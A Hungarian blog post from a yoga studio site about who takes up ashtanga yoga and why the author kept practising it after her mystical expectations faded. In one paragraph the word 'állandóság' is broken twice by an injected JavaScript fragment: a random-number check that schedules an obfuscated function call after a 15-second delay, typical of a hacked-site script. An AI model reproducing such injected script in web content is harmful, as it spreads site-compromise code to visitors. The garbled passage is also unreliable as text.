Top
Mandala Jóga Online / Szerzők  / Gyöngyvér  / Ki lesz astangi(ni)?
gyongy_eka2

Ki lesz astangi(ni)?

Húszas éveiben járó balerina, keménykötésű kettlebell edző, lelkiismeretes irodista, váltani akaró multizós, többgyermekes családanya, lelkes középiskolai tanár, precíz egyetemi docens, vakmerő hegymászó. Látszólag semmi közös sincs bennük, mégis rendszeresen odaállnak a jógaszőnyegre és végigcsinálják az astanga gyakorlásukat.
 

Miért éppen astanga?
 
Egyre többen járnak az astanga órákra és egyre többen szeretnek bele ebbe a gyakorlásba, ahány ember, annyi személyiség és motiváció. Van, akit Kino MacGregor videói és akrobatikus pózai inspiráltak, van, akit ezek kifejezetten elrettentettek. Néhányan egészen misztikusnak tartják ezt a gyakorlást, mások a kézenállásról álmodoznak.
 

Nem lesz ez unalmas?
 
Eleinte elképzelhetetlennek és unalmasnak tartjuk, hogy mindig ugyanazokat az ászanákat gyakoroljuk, astanginiként viszont már egész máshogy tekintünk a gyakorlás nyújtotta állandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andóságra. Minden olyan gyorsan változik körülöttünk, jó ebben az állandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andóságban megpihenni egy órára. Lényegében mindenben különbözünk, a gyakorlóteremben mégis egy közösséget alkotunk. Old school, new school, kezdő, haladó, első vagy akár harmadik sorozat ezek csak címkék, a gyakorlás közös, mindegy kívüről mi látszik, a gyakorlás ugyanaz. Máshogy gyakorlunk, de mégis nagy hatással van ránk az astanga.
 

Én miért maradtam astangini?
 
Az én történetemben a kezdetnél érdekesebb a folytatás, hogy miért tartottam ki az astanga mellett. Az első találkozás után nem is értettem ki szeretheti ezt a nehéz gyakorlást, aztán megtetszettek az ászanák, a gyakorlás külsőségei, és szép lassan eljutottam addig, hogy (túl) sokat láttam bele ebbe a gyakorlásba, csodálatosnak tartottam, és, ha nem is mondtam ki, de hittem benne, hogy a gyakorlás révén eljutok egy különleges elmeállapotba, szert teszek valamilyen mély tudásra vagy bölcsességre.
 

A lufi kipukkadt, és az astanga megmaradt egyszerűnek, őszintének, és magától értetődőnek. Eleinte a magasztos célok motiváltak, most élvezem, hogy ezeknek a rabságától is megszabadultam. A gyakorlás már nem olyan misztikus, de jobban élvezem mint valaha, hiszen sem a gyakorlástól, sem magamtól nem várok el semmit, se csodát, se változást. Nagy öröm a gyakorlás, még nagyobb, hogy nem kell függenem még ettől sem ahhoz, hogy az előnyeit élvezzem.

Gyöngyvér Pápa
No Comments

Sorry, the comment form is closed at this time.